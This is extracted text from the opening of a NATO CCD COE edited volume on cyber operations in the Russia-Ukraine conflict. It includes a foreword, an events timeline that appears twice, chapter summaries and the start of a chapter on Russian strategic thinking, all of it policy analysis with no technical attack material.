Cyber Proxies and the Crisis in Ukraine Tim Maurer, New America ...............................................................................79 7 Information Warfare 10.
Russian Information Warfare: Lessons from Ukraine Margarita Levin Jaitner, Swedish Defense University ...................................87 11.
Missing in Action: Rhetoric on Cyber Warfare Liisa Past, NATO CCD COE ............................................................................95 12.
Strategic Communications and Social Media in the Russia Ukraine Conflict Elina Lange-Ionatamishvili Sanda Svetoka, NATO Strategic Communications Centre of Excellence ..............................103 Policy and Law 13.
Ukraine: A Cyber Safe Haven?
Nadiya Kostyuk, University of Michigan ......................................................113 14.
A Legal Framework for Cyber Operations in Ukraine Jan Stinissen, NATO CCD COE ....................................................................123 15.
The Ukraine Crisis as a Test for Proposed Cyber Norms Henry Rigas, NATO CCD COE ...................................................................135 16.
Northern European Cyber Security in Light of the Ukraine War Jarno Limnll, Aalto University .....................................................................145 The Future 17.
Whats Next for Putin in Ukraine: Cyber Escalation?
Jason Healey Michelle Cantos, Columbia University .............................153 18.
Strategic Defence in Cyberspace: Beyond Tools and Tactics Richard Bejtlich, The Brookings Institution .................................................159 Authors ............................................................................................................... 171 8 Foreword Sven Sakkov Director, NATO Cooperative Cyber Defence Centre of Excellence In mid-January 2014, the Ukrainian Rada passed tough anti-protest regulations that seemed to be designed to nip the emerging anti-government mood in the bud.
Over the next months, in the harsh Ukrainian winter, opposition protests escalated and turned bloody.
The ensuing turmoil included a runaway President, Russian occupa- tion of Crimea and an armed conflict in Eastern Ukraine.
The world held its breath and many expected to see a full-fledged cyber war.
However, although an increase in typical cyber skirmishes was reported throughout the crisis, prominent cyber operations with destructive effects have not yet occurred.
The possible reasons for this seemingly low-level employment of cyber attacks in Ukraine characterise the particular role of cyber operations in modern conflicts.
The case of Ukraine proves that the use of cyber operations has to be understood in the wider strategic context.
In Ukraine we saw in line with national doctrine that Russian information warfare both included and relied upon cyber elements.
Reported cyber incidents such as defacements, information leaks or DDoS attacks against media or governmental organisations were predominantly in support of the intense Russian information operation against Ukraine and the West.
Furthermore, due to the historical interconnectedness of networks and sophisti- cated spyware tools applied by APT groups, it is widely presumed that Russia is actively leveraging the intelligence provided by its effective cyber espionage campaigns for strategic gain.
As cyberspace functions as the main medium for disseminating and gathering information, destructive cyber operations hindering information flows in Ukraine would have been unreasonable from the Russian point of view.
Another strategic consideration affecting Russian use of cyber attacks is the rel- ative effectiveness of traditional kinetic operations.
If we look at the Russian actions in Crimea and the Donbass, there was no practical need to engage in destructive 9 offensive cyber operations to achieve the military objectives.
For instance, one of the first targets during the occupation of Crimea was an Internet Exchange Point, which was taken over by Russian special forces in order to assure information superiority by disrupting cable connections with the mainland.
In short, the case indicates that kinetic actions might in some circumstances be more effective and less costly than sophisticated cyber operations.
This factor is even more relevant in Ukraine, where the infrastructure is often outdated and not highly IT-dependent.
Even though highly visible and destructive attacks have not been reported, infor- mation-oriented cyber operations in Ukraine have nevertheless functioned as an essential strategic element of Russian whole spectrum warfare.
In brief, the book reflects several mutually reinforcing reasons why we did not witness large-scale or massive cyber attacks with destructive effects: Espionage and information campaigns conducted through cyberspace trumped other considerations for the Russian side It is reasonable to achieve results with less resources and effort involved, i.e.
if a cable can be cut physically, there is no need to use sophisticated cyber attacks Both sides in the conflict have shown a considerable ability to control the escalation of the conflict.
The cyber domain did not witness large- scale warfighting, but neither did the domain of air after the tragedy of MH17 Ukraine did not offer very lucrative targets for destructive cyber attacks.
To put these points into perspective: modern war is a messy affair, not a clean and glittery Hollywood movie.
The emergence of cyber as a separate domain of warfighting does not necessarily offer magic solutions and miraculous short-cuts to achieve strategic goals.
As of November 2015, the case has shown that destructive cyber operations are not (yet) a silver bullet in the arsenal of states which still oper- ate below certain thresholds due to legal and political considerations and uncer- tainties over escalation.
Nevertheless, we have to keep in mind that the conflict in Ukraine is not yet over the level and nature of cyber attacks can change rapidly, as the political-military environment in Ukraine remains unstable and unpredictable.
Against the backdrop of the often unclear debate on so-called hybrid warfare and its cyber elements, this publication offers a reality check for policy-makers, scholars and the media to understand the haze of cyber war.
This is done by apply- ing an interdisciplinary approach as our book involves 17 subject-matter experts analysing the strategic, policy, legal and technical aspects of the case.
The NATO Cooperative Cyber Defence Centre of Excellence would like to thank all of the books authors, and especially the editor, Centre Ambassador Kenneth Geers, for their contributions to the project.
10 Timeframe Geopolitical Events Prominent Cyber Incidents1 20132014 November 2013 February 2014 Ukrainian President Yanukovychs cabinet rejects the Ukraine-EU Association Agreement, ig- niting anti-government protests in Kyiv.
Demonstrations gather pace in January and February of 2014 and culminate when clashes between protesters and government turn deadly.
As a result, Yanukovich flees to Russia and the Parliament names Turchynov as interim President.
Sporadic cyber skirmishes, including distributed denial of service (DDoS) attacks and website deface- ments, accompany events throughout the crisis.
Prominent examples include Russia Todays (RT) altered headlines with the word Nazi added and DDoS attacks against the NATO and NATO CCD COE web- sites, which are briefly taken offline during the Euromaidan protests.
Private sector reports announce that advanced persistent threat (APT) cyber espionage tools have been discovered in Ukraine and in NATO countries.
Malware analysis suggests that the campaigns are based in Russia.
New and more menacing forms of malware include Turla/Uroburos/Snake, RedOctober, MiniDuke, and NetTraveler.
Anonymous users or hacktivist groups such as CyberBerkut continuously leak stolen, sensitive infor- mation.
For example, on February 4 2014, a phone call between the US Assistant Secretary of State and the US Ambassador to Ukraine, which includes derisive comments regarding the EU, is uploaded to YouTube.
At the Euromaidan street demonstrations, there are physical and cyber attacks against opposition servers, smartphones, websites, and Internet accounts the most serious incidents coincide with the lethal shoot- ing of protestors.
During the occupation of Crimea, Russian special forces seize an Internet Exchange Point (IXP) and sev- er Internet cables.
According to Ukrainian intelligence, an IP-telephonic attack originating from Crimea targets the mobile devices of Ukrainian parliament members.
Hackers also leak stolen data, including a bugged phone call between the Estonian Ministry of Foreign Affairs and the EU, which fuels conspiracy theories and appears to support the Russian narrative regarding sniper shootings at Euromaidan.
Ukrainian officials report a sophisticated cyber attack against the Ukrainian Central Election Commis- sion on May 21-25 2014.
DDoS attacks impede information exchange.
A computer virus is launched to undermine the credibility of the elections and presents false election results to the official election website.
Specialists contain the virus, but the Russian TV station Channel One nonetheless airs the fake results.
Media reports describe a troll factory in St. Petersburg, Russia, where hundreds of people are allegedly creating pro-Russian government content for both domestic and international social media.
This analysis highlights the active use of social media as a prominent threat vector for information operations.
A private sector report claims that a Russian cyber espionage campaign has targeted the MH17 investiga- tion being conducted by Dutch, Malaysian, Australian, Belgian, and Ukrainian authorities.
In eastern Ukraine, signals intelligence (SIGINT) operations make use of Internet data (e.g.
location data from mobile phones and Wi-Fi networks) to locate and target Ukrainian military forces.
Hacktivists on both sides continue to leak sensitive or compromising data to support their cause.
In one case, hackers access public CCTV cameras in eastern Ukraine.
The region has been isolated from the rest of Ukraine via Internet censorship and regular forensics checks on citizens computers and mobile devices.
27 February 16 March On February 27, pro-Russian gunmen in combat uniforms dubbed little green men oc- cupy Crimea and seize strategic sites.
On March 16, 97 of voters reportedly back Crimeas unrecognised referendum to join Russia.
The EU and US agree on a first round of sanctions against Russia several rounds follow as the crisis progresses.
April May Armed conflict begins in eastern Ukraine.
The first casualties between pro-Russian separatists and Ukrainian government forces are reported on April 17.
Unrecognised referendums are held.
Separatists declare independence in Donetsk and Luhansk on May 11.
25 May Petro Poroshenko is elected President of Ukraine.
17 June Malaysia Airlines flight MH17 from Amsterdam to Kuala Lumpur is shot down over eastern Ukraine, leaving nearly 300 dead.
Shortly after the crash, the Security Service (SBU) of Ukraine releases an intercepted phone call purportedly between separatists in eastern Ukraine, discuss- ing the fact that they shot down the plane.
September The Minsk Protocol is signed by representatives of Ukraine, the Russian Federation, the Do- netsk Peoples Republic, and the Lugansk Peoples Republic.
A ceasefire agreement fails to stop fighting in Donbass as fierce fighting for Donetsks airport erupts.
26 October Parliamentary elections are held: Poroshenkos Bloc wins and pro-western parties dominate the new political landscape.
2015 January February The Minsk Protocol ceasefire fails as heavy fighting continues.
After weeks of fighting, on22 January, Ukrainian forces withdraw from the main terminal of the strategically important Do- netsk airport.
On February 11, new talks start in Minsk to achieve a new peace deal.
Parties agree to a pull- out of heavy weaponry, but sporadic clashes continue.
After heavy fighting in Debaltseve, Ukrainian forces retreat on 18 February.
March The UN reports that an estimated 6,000 people have been killed in eastern Ukraine since 2014.
August September The most recent ceasefire, agreed by the contact group in late August, appears to be holding, as fighting is at its lowest point since the beginning of the conflict.
Key Events 11 Timeframe Geopolitical Events Prominent Cyber Incidents1 20132014 November 2013 February 2014 Ukrainian President Yanukovychs cabinet rejects the Ukraine-EU Association Agreement, ig- niting anti-government protests in Kyiv.
Demonstrations gather pace in January and February of 2014 and culminate when clashes between protesters and government turn deadly.
As a result, Yanukovich flees to Russia and the Parliament names Turchynov as interim President.
Sporadic cyber skirmishes, including distributed denial of service (DDoS) attacks and website deface- ments, accompany events throughout the crisis.
Prominent examples include Russia Todays (RT) altered headlines with the word Nazi added and DDoS attacks against the NATO and NATO CCD COE web- sites, which are briefly taken offline during the Euromaidan protests.
Private sector reports announce that advanced persistent threat (APT) cyber espionage tools have been discovered in Ukraine and in NATO countries.
Malware analysis suggests that the campaigns are based in Russia.
New and more menacing forms of malware include Turla/Uroburos/Snake, RedOctober, MiniDuke, and NetTraveler.
Anonymous users or hacktivist groups such as CyberBerkut continuously leak stolen, sensitive infor- mation.
For example, on February 4 2014, a phone call between the US Assistant Secretary of State and the US Ambassador to Ukraine, which includes derisive comments regarding the EU, is uploaded to YouTube.
At the Euromaidan street demonstrations, there are physical and cyber attacks against opposition servers, smartphones, websites, and Internet accounts the most serious incidents coincide with the lethal shoot- ing of protestors.
During the occupation of Crimea, Russian special forces seize an Internet Exchange Point (IXP) and sev- er Internet cables.
According to Ukrainian intelligence, an IP-telephonic attack originating from Crimea targets the mobile devices of Ukrainian parliament members.
Hackers also leak stolen data, including a bugged phone call between the Estonian Ministry of Foreign Affairs and the EU, which fuels conspiracy theories and appears to support the Russian narrative regarding sniper shootings at Euromaidan.
Ukrainian officials report a sophisticated cyber attack against the Ukrainian Central Election Commis- sion on May 21-25 2014.
DDoS attacks impede information exchange.
A computer virus is launched to undermine the credibility of the elections and presents false election results to the official election website.
Specialists contain the virus, but the Russian TV station Channel One nonetheless airs the fake results.
Media reports describe a troll factory in St. Petersburg, Russia, where hundreds of people are allegedly creating pro-Russian government content for both domestic and international social media.
This analysis highlights the active use of social media as a prominent threat vector for information operations.
A private sector report claims that a Russian cyber espionage campaign has targeted the MH17 investiga- tion being conducted by Dutch, Malaysian, Australian, Belgian, and Ukrainian authorities.
In eastern Ukraine, signals intelligence (SIGINT) operations make use of Internet data (e.g.
location data from mobile phones and Wi-Fi networks) to locate and target Ukrainian military forces.
Hacktivists on both sides continue to leak sensitive or compromising data to support their cause.
In one case, hackers access public CCTV cameras in eastern Ukraine.
The region has been isolated from the rest of Ukraine via Internet censorship and regular forensics checks on citizens computers and mobile devices.
27 February 16 March On February 27, pro-Russian gunmen in combat uniforms dubbed little green men oc- cupy Crimea and seize strategic sites.
On March 16, 97 of voters reportedly back Crimeas unrecognised referendum to join Russia.
The EU and US agree on a first round of sanctions against Russia several rounds follow as the crisis progresses.
April May Armed conflict begins in eastern Ukraine.
The first casualties between pro-Russian separatists and Ukrainian government forces are reported on April 17.
Unrecognised referendums are held.
Separatists declare independence in Donetsk and Luhansk on May 11.
25 May Petro Poroshenko is elected President of Ukraine.
17 June Malaysia Airlines flight MH17 from Amsterdam to Kuala Lumpur is shot down over eastern Ukraine, leaving nearly 300 dead.
Shortly after the crash, the Security Service (SBU) of Ukraine releases an intercepted phone call purportedly between separatists in eastern Ukraine, discuss- ing the fact that they shot down the plane.
September The Minsk Protocol is signed by representatives of Ukraine, the Russian Federation, the Do- netsk Peoples Republic, and the Lugansk Peoples Republic.
A ceasefire agreement fails to stop fighting in Donbass as fierce fighting for Donetsks airport erupts.
26 October Parliamentary elections are held: Poroshenkos Bloc wins and pro-western parties dominate the new political landscape.
2015 January February The Minsk Protocol ceasefire fails as heavy fighting continues.
After weeks of fighting, on22 January, Ukrainian forces withdraw from the main terminal of the strategically important Do- netsk airport.
On February 11, new talks start in Minsk to achieve a new peace deal.
Parties agree to a pull- out of heavy weaponry, but sporadic clashes continue.
After heavy fighting in Debaltseve, Ukrainian forces retreat on 18 February.
March The UN reports that an estimated 6,000 people have been killed in eastern Ukraine since 2014.
August September The most recent ceasefire, agreed by the contact group in late August, appears to be holding, as fighting is at its lowest point since the beginning of the conflict.
1 This event overview is not exhaustive and includes prominent incidents it is based on open source reports and information provided by this books authors.
13 Introduction: Cyber War in Perspective Kenneth Geers NATO CCD COE1 / Atlantic Council / Taras Shevchenko National University of Kyiv Cyber war is a hot topic.
Armed forces, intelligence, and law enforcement agen- cies have made computer security from defence to offence a top priority for investment and recruitment.
In fact, current efforts to take the higher ground in cyberspace are so intense that many governments will overreach, with unfortunate ramifications for democracy and human rights around the world.
The current Russo-Ukrainian conflict appears to have all the necessary ingre- dients for cyber war.
Moscow and Kyiv, and indeed the entire NATO Alliance, are playing for the highest geopolitical stakes.
Russia has already annexed Crimea, and there is an ongoing military standoff in eastern Ukraine.
Both countries possess a high level of expertise in science, technology, engineering and mathematics (STEM), which has naturally led to an aptitude for, and experience with, computer hacking.
Despite these factors, there are still many sceptics over cyber war, and more questions than answers.
Although malicious code has served criminals and spies very well, can cyber attacks offer soldiers more than a temporary, tactical edge on the battlefield?
Can it have a strategic effect?
What norms should be established in international relations to govern nation-state hacking in peacetime and in war?
1 Dr Kenneth Geers was a Scientist at NATO CCD COE in 20072011 and now holds the position of Centre Ambassador.
Chapter 1 Can cyber attacks offer sol- diers more than a temporary, tactical edge on the battlefield?
14 This book serves as a benchmark in the early history of Internet-era warfare.
For world leaders and system administrators alike, the cyber dimension of the Ukraine crisis offers many lessons and sheds light on whether cyber war is still closer to sci- ence fiction than reality.
The research is divided into five sections: Strategic Frame- work, Tactical Viewpoints, Information Warfare, Policy and Law, and The Future.
Each chapter has been written by a leading expert in national security, network security, or both.
It has been a pleasure and an honour to work with all of them.
Many thanks to the North Atlantic Treaty Organisation Cooperative Cyber Defence Centre of Excellence (NATO CCD COE) for sponsoring this research.
Cyber War in Perspective: Russian Aggression against Ukraine opens with a chap- ter by Russia scholar Keir Giles of the Conflict Studies Research Centre in Oxford, UK.
Keir offers deep insight into the background to this crisis, and explains why it may not be resolved any time soon.
Russia and the West are said to have two distinct views of the world.
Moscow is unlikely to tolerate true independence and sovereignty for its former Soviet satellite states, and remains vehemently opposed to Western support for them.
It has many strategies and tactics traditional and cyber that it can employ against Ukraine and its other neighbours, while the West is both hesitant and divided.
In Chapter 3, James J. Wirtz, Dean of the Naval Postgraduate School in Califor- nia, describes the global context surrounding these events.
Today, nation-states are integrating cyber tactics into their political and military strategies.
Professor Wirtz posits that when it comes to the use of cyber, national styles might be emerging as states attempt to use cyber capabilities to achieve strategic objectives.
He suggests that it is wrong to treat cyber attacks as a silver bullet, and that it is better to consider how a sort of combined arms approach will prevail.
On a positive note, the need for legal and bureaucratic integration of policies and programmes should produce national idiosyncrasies on the cyber battlefield that can help with the vexing chal- lenge of attribution.
James Andrew Lewis of the Centre for Strategic and International Studies (CSIS) analyses the geopolitical effects of cyber attacks in Chapter 4.
He discusses two metrics: strategic effects that diminish an opponents will or capacity to fight (e.g.
influencing public opinion) and tactical effects that degrade military power (e.g.
confusing troops, or denying service to weapons).
Success is premised upon observable, real-world effects.
In Ukraine, Russian cyber operations had no strate- gic effect and only a limited, short-term political effect.
In Chapter 5, RANDs Martin Libicki takes one of this books strongest stances.
He asks why, despite the existence of a hot military conflict and ample hacker tal- ent, there is no cyber war in Ukraine.
There have been hacktivist outbursts, web defacements, distributed denial-of-service (DDoS) attacks, and cyber espionage, but everything we have seen so far falls well short of how national security thinkers and Hollywood have portrayed cyber war.
Libicki explores several possible rea- sons.
Does Ukraine not possess cyber-enabled critical infrastructures?
Are Russia 15 and Ukraine wary of taking (or escalating) their conflict into the cyber domain?
Or are our notions of cyber war simply overrated?
Nikolay Koval, head of Ukraines Computer Emergency Response Team (CERT-UA) during the revolution, describes in Chapter 6 how cyber attacks rose in parallel with ongoing political events, in both number and severity.
In 2012, hackers defaced Ukrainian government websites with politically motivated digital graffiti.
In 2013, network defenders discovered new and more menacing forms of malware, such as RedOctober, MiniDuke, and NetTraveler.
In 2014, hacktivist groups such as CyberBerkut published stolen Ukrainian Government documents.
Koval analyses in detail the most technically advanced attack investigated by CERT-UA: the May 2014 compromise of Ukraines Central Election Commission (CEC).
He closes by appealing to the Ukrainian Government to allocate greater funds to hire and retain qualified personnel.
In Chapter 7, ISACA Kyiv researcher Glib Pakharenko has written a first-hand account of cyber attacks during the revolution in Ukraine.
At the EuroMaidan street demonstrations, there were physical and logical attacks against opposition servers, smartphones, websites, and Internet accounts the most serious incidents coincided with the lethal shooting of protestors.
In Crimea, attacks ranged from severing net- work cables to commandeering satellites to wholesale changes in Wikipedia.
In east- ern Ukraine, cyber espionage such as the use of location data from mobile phones and Wi-Fi networks has aided in targeting Ukrainian army units the region has also been isolated from the rest of Ukraine by Internet censorship and regular forensics checks on citizens computers and mobile devices.
Pakharenko ends this chapter by providing the Ukrainian Government with a significant to do list of best practices in network security.
FireEyes Jen Weedon, in Chapter 8, discusses Russias strategic use of computer network exploitation (i.e.
cyber espionage).
Today, via the Internet, intelligence agencies can gather information on an industrial scale, which can be used for any purpose, including tactical support to military operations.
From a targeting per- spective, Weedon discusses strategies for creating a decisive information advantage, prepping a battlefield through denial and deception, and how hackers might even cause real-world physical destruction and details the technical aspects of suspected Russian cyber operations, including malware samples, hacker tactics, and compro- mised infrastructure.
In Chapter 9, Tim Maurer of the New America Foundation explores the role that non-state, proxy cyber actors have played in the Ukraine crisis.
In both Russia and Ukraine, there is ample private sector computer hacking expertise which each government would theoretically have an incentive to exploit for efficacy and plau- sible deniability.
However, throughout this crisis, there has counterintuitively been very limited proxy use.
There have been a few dubious hacktivist attacks, but expert volunteers and cyber criminals do not appear to have been politicised or mobil- ised to any significant degree in support of geopolitical cyber campaigns.
Criminal 16 behaviour remains largely profit-driven.
In particular, the Ukrainian Government has not shown a capacity to harness volunteer cyber expertise, as Russia is thought to have done during its previous crises with Estonia and Georgia.
Swedish Defence University researcher Margarita Levin Jaitner highlights cur- rent Russian Information Warfare (IW) the- ory in Chapter 10.
She contends that Moscow has an inherent belief in the power of infor- mation control to advance its political and military goals.
In Russian doctrine, cyber security is subordinate to information secu- rity, and cyberspace is only one part of the information space.
National security planners are concerned with both technical and cognitive attacks, and recognise that achieving information superiority involves everything from propaganda to hacking to kinetic military operations.
Margarita Jaitner argues that the annexation of Crimea was a textbook case in information superiority.
In Chapter 11, Liisa Past, a NATO CCD COE expert on strategic communi- cations, analyses leadership discourse.
Liisa Past reveals that Russian President Vladimir Putin and Ukrainian President Petro Poroshenko have employed similar rhetorical strategies, including the development of an us vs. them dichotomy in which the in-group is portrayed as constructive and solution-oriented, while the out-group is illegitimate and dangerous.
In their current conflict, neither Russia nor Ukraine denies that cyberspace is a domain of warfare, but neither has stressed its importance.
Russian political discourse has mostly overlooked cyber issues (which is in line with Russian military doctrine), while Ukraine has framed them within the larger concept of hybrid warfare.
The most notable difference in political rhetoric is Kyivs clear orientation to the West and NATO, while Moscow is keenly focused on Russian national interests.
Elina Lange-Ionatamishvili and Sanda Svetoka of the NATO Strategic Com- munications Centre of Excellence in Latvia, in Chapter 12, discuss the role of social media in this conflict.
In the Internet era, the battle for hearts and minds has never been more important.
Social media is a trust-based network that provides fertile soil for intelligence collection, propaganda dissemination, and psychological operations (PSYOPS) to influence public opinion or to lead adversaries into harms way.
Soft cyber attacks can be as severe as any attack on critical infrastructure.
In Ukraine, they have generated fear, uncertainty, and doubt about the economic, cultural, and national security of Ukraine, while promoting positive messages about Russias role in Crimea and eastern Ukraine.
The authors provide recommendations for defence against such attacks, including how to identify them, challenge them, and how to develop a resilient political narrative to withstand false propaganda.
In Chapter 13, University of Michigan doctoral student Nadiya Kostyuk reviews Ukraines cyber security policy past, present, and future.
She analyses numerous historical factors that make Ukraine a cyber safe haven: a strong science, technol- Moscow has an inherent belief in the power of information control.
17 ogy, engineering, and mathematics (STEM) education, underwhelming economic performance since the fall of the Soviet Union in 1991, and social norms which dictate that stealing from the West is not a bad thing.
The icing on the cake is that there are currently few cyber security regulations in Ukraine.
All of these factors shed light on the vexing challenge of containing cyber crime in the region.
Look- ing toward the future, Nadiya Kostyuk argues that Ukraines political, military, and economic crises will inhibit the stabilisation of Ukrainian cyberspace for some time.
Lt Col Jan Stinissen of the NATO CCD COE, in Chapter 14, offers a legal frame- work for cyber operations in Ukraine.
He explains that international law applies to cyberspace, and the law of armed conflict applies to all relevant cyber opera- tions.
Jan discusses the legal definitions of war and cyberwar, as well as the con- cepts of armed conflict, armed attack, and use of force.
Typically, cyber attacks do not come in isolation, but rather as one element of a larger military operation the wider context will determine the legal framework for its cyber component.
There are many qualifying factors including state vs. non-state actor, and armed conflict vs. law enforcement.
In the Ukraine crisis, operations in Crimea (which has already been annexed by Russia) may be viewed differently from those in eastern Ukraine.
Stinissen asserts that, globally, most known cyber attacks have simply not been seri- ous enough to be governed by the law of armed conflict, but that this is likely to change in the future.
In Chapter 15, NATO CCD COE researcher Henry Rigas discusses the impact of known cyber attacks in Ukraine on proposed political cyber norms, the rules of state behaviour in international relations.
On the positive side, the absence of attacks against critical infrastructure could be a boon to future international security and stability, especially if it is a result of intentional restraint on the part of Moscow and Kyiv.
This case challenges the prevailing perception that a loose normative frame- work currently allows states to employ cyber attacks as a tool for coercion.
On the negative side, the examples of computer network operations we have seen appear to violate the information security norms promoted by Russia and the Shanghai Coop- eration Organisation (SCO), as they seem to constitute a war on information itself, that is a dedicated effort to alter public opinion through deceptive propaganda.
Finnish Professor Jarno Limnll, in Chapter 16, discusses the ramifications of the Ukraine war, and its cyber component, for Russias neighbours.
Moscows aggressive behaviour in Ukraine has forced many countries to re-evaluate their political and military relationships, especially with NATO.
For historical reasons, Finland and Estonia are well positioned to analyse Russias use of hybrid warfare, including information operations.
Today, these countries are actively pursuing ways to bolster their national defences against Russias military strategies and tactics in Ukraine.
The NATO Alliance should take concrete measures to reassure its member states, such as the creation of a common cyber defence framework.
In Chapter 17, Jason Healey and Michelle Cantos of Columbia University imagine four potential cyber conflict scenarios in this crisis.
First, even if the hot war cools off, Russia can still raise the temperature in cyberspace, and cause serious network disruptions in Ukraine.
Second, Russia could selectively target the West, adding a new vector to its already increased volume of threats, military exercises, sub- marine deployments, and nuclear warnings.
Third, Vladimir Putin could mirror the fro- zen conflict dynamic in cyberspace by threat- ening prolonged disruptions of the global Internet.
And fourth, if the Ukraine conflict spins out of control, Russia, in desperation, might even have the power to take down the Internet entirely.
To close our book, in Chapter 18, Brookings Institution Nonresident Senior Fellow Richard Bejtlich offers essential advice not only for Ukraine, but for any nation or organisation wishing to improve its cyber security posture.
Bejtlich draws from the deep well of classic military doctrine, arguing that hostile nation-state cyber operations are not a single event but a long-term, dynamic, multidimensional threat.
The only hope that Ukraine or any other nation has for building an effec- tive defence against professional network attacks is to incorporate strategic thinking into its defensive architecture, personnel, and operations.
Hostile nation-state cyber operations are a long-term, dynamic, multidimensional threat.
19 Russia and Its Neighbours: Old Attitudes, New Capabilities Keir Giles Conflict Studies Research Centre 1 The View from Moscow The crisis around Ukraine is part of a wider confrontation between Russia and the West, which has persisted at varying degrees of intensity since the fall of the Soviet Union despite periods when the West as a whole refused to recognise that any conflict of stra- tegic interest with Russia existed.
After a period where this confrontation lay relatively dormant, the conflict in Ukraine results from the culmination of two important trends in the Russian view of itself and the world: first, a greater and more urgent perception of threat, whether real or imagined, to Russias own security and second, a recognition that Russia itself has regained sufficient strength, military and otherwise, to assert itself.
The notion that Russia is faced with an existential threat even when that threat is imperceptible from outside Russia has multiple and complex origins.
Some of these are permanent and persistent for example, the idea of vulnerability of Russias borders, which leads to the conviction that in order to protect its borders Russia must exert control far beyond them.
In the last century this was one of the drivers for Soviet ultimatums to the Baltic states and Finland which eventually led to their invasion in 1939.
This continuing perception feeds into the current portrayal by Russia of NATO enlargement, including to those same Baltic states, as a threat.
Regardless of NATOs intent, it presents a menace simply by approaching Russias borders.1 1 As expressed in a wide range of Russian security policy documents, including the December 2014 Military Doctrine of the Russian Federation and its predecessors.
Chapter 2 20 Other, more recent developments have heightened the sense of urgency for Russian security planners.
The fear that the West is considering bringing about regime change in Russia does not stand up to objective scrutiny, but appears deep-rooted among a broad sec- tor of the Russian security elite.
It has been accentuated in the past decade by, as Moscow sees it, fur- ther unrestrained and irresponsible interventions by the West with the intention of regime change, leaving chaos and disorder in their wake.
Western action in Libya and support for anti-government rebels in Syria provide prime examples.
Thus the prospect of destabilisation closer to home in Ukraine would have been of even more acute and direct concern in Moscow.
Even without the accompanying disorder, the threat of the loss of Ukraine to the West posed an immediate military problem: it appears to have been considered plausible in Moscow that this presented an immediate danger of losing the Black Sea Fleets base in Sevastopol, together with the often-overlooked supporting infrastruc- ture scattered across the Crimean peninsula, to NATO.
According to Secretary of the Russian Security Council Nikolay Patrushev, the consequences could be even more far-reaching: Americans are trying to involve the Russian Federation in interstate military conflict, to facilitate the change of power by way of using the events in Ukraine, and ultimately to carve up our country.2 Whether this view is sincerely held by the Russian leadership or not, it is the one that is con- sistently presented to the Russian public, and to its Armed Forces, as explaining the roots of the current conflict.
The fact that Russia was able to use large numbers of Special Operations Forces (SOF) swiftly and effectively to seize control of Crimea, and subsequently to wage an ongoing low-level campaign in eastern Ukraine involving long-term mobilisa- tion of its conventional forces, is a pointer to the other key element of the new Rus- sian approach to confrontation the recognition that Russia is now in a position to exercise a much more assertive foreign policy than in the recent past.
One element of this is the unprecedented and expensive overhaul and rear- mament of Russias Armed Forces which began after the armed conflict with Georgia in 2008 and continues today.
The fact that the Russian troops at work in Ukraine are entirely unrecognisable from the forces which entered Georgia just seven years earlier caused surprise and consternation among those Western defence communities that had not been paying attention.
But the Ukraine cam- paign overall is far more than a military operation.
Successful coordination of military movements and action with other measures in the political, economic and especially information domains, are the result of strenuous efforts by the 2 Interview with Security Council Secretary Nikolay Patrushev, Rossiyskaya gazeta, 11 February 2015.
Recent developments have heightened the sense of urgency for Russian security planners.
21 Putin administration over preceding years to harness other levers of state power to act in a coordinated manner.3 The results of this coordination has left the unprepared West scrambling for a response, and struggling even to define the phenomenon, as witness the tortuous attempts by NATO and Western governments to decide what precisely constitutes hybrid warfare.
But the notion of hybridity as applied to the current concept meets little understanding in Moscow.
Instead, Russia can be said simply to be attempting to implement grand strategy in the classical sense.
Russias attempt at this whole of government approach to managing conflict is embodied in the National Defence Control Centre in central Moscow, where a wide range of dif- ferent government ministries and agencies including those responsible for energy, the economy, ecology and more are brought together under the leadership of the General Staff.4 Intensive militarisation, sometimes referred to directly as mobilisation, is also now pervading Russian society, stoked by unending leadership rhetoric of war, con- frontation and threat, and blanket military coverage on TV.
According to Estonian Ambassador to the Russian Federation Jri Luik, the Russian narrative of war is instrumentalising the population and putting it on a mental war footing, not only by tapping into the traditional Russian narrative of victimhood over centuries, but also by engendering a heroic feeling that now is the time of risk.5 Furthermore, analysis of Russian security thinking shows not only this asymmetry of threat perception, but also a complete divergence with the West in terms of notions of how and when the military should be used to counter those threats.
As so often, there is no single explanation for a given course of action by Russia, and direct intervention in Crimea and Ukraine has also been parsed as a response to the threat posed to Russian business interests by closer integration with the European Union (EU).
The EU model of open markets and rules-based dealings runs directly counter to the Russian way of doing business in the near abroad, reinforcing the growing Russian perception of the EU as a problem rather than an opportunity but few analysts would have predicted that it would be the prospect of an EU Association Agreement for Ukraine, rather than any involvement with NATO, which would eventually lead to military intervention by Russia.
The ambivalent attitude to Ukraine as a sovereign nation with a right to choose its own foreign policy direction has its roots in an entirely different view of the end 3 Andrew Monaghan.
Defibrillating the Vertikal, Chatham House, October 2014, http://www.chathamhouse.org/publication/ defibrillating-vertikal-putin-and-russian-grand-strategy.
4 , Russian Ministry of Defence website, 1 November 2014, http://function.mil.ru/news_page/country/more.ht- m?id11998309egNews.
5 Speaking at the Lennart Meri Conference, Tallinn, 24 April 2015.
The notion of hybridity meets little understanding in Moscow.
22 of the Soviet Union.
That view holds that the former Soviet republics, including Ukraine and the Baltic States, in effect belong to Russia.
According to President Putin, in 1991 Russia voluntarily I emphasise voluntarily and consciously made absolutely historic concessions in giving up its own territory.6 This persistent view is not limited to President Putin.
According to veteran scholar of Russia Paul Goble: The Russian elite is sincerely convinced that the preservation of influence on the former Soviet republics surrounding it is the status quo and a nat- ural right given by history, even though for the entire rest of the world such an approach is incomprehensible and unnatural.
What this means is that Moscow acts as if the Soviet Union had not fallen apart, as if it had only been reformatted, but relations between sovereign and vassal have remained as before.7 It is plain that at least in some sectors of society, these aspi- rations by Russia to regain imperial dominion over its surroundings enjoy broad support.
The now-celebrated Prosecutor General of Crimea, Natalya Poklonskaya, in an interview at the time of annexation declared her ambition to start again in a great state, a great power, an empire, like Russia.8 This approach to Russias inheritance of domination over its neighbourhood appears consistent over time.
In 1953, an assessment of recent history that had led to Soviet domination over Eastern Europe concluded that in the Russian view: Stalin was no more than reasserting Russian authority over territories which had long recognised Tsarist rule, and which had been torn away from Russia at the time of her revolutionary weakness after the First World War.9 The effect of these long-standing assumptions is a mind-set that leads to casual references by Russian generals to nashi byvshiye strany (our former countries), statements that even Finland and Poland were parts of Russia, and that all major powers have a non-threatening sanitary zone (sanitarnaya zona) around them.10 Russias attempts to maintain, or reassert, this buffer zone are a major contributor to the current stand-off.
Since 1991, Moscow has employed a wide range of coercive tools in attempts 6 Ksenija Kirillova.
, Novyy Region 2, 28 April 2015, http://nr2.com.
ua/blogs/Ksenija_Kirillova/Putin-fakticheski-nazval-Ukrainu-territoriey-Rossii-95566.html.
7 Paul A. Goble.
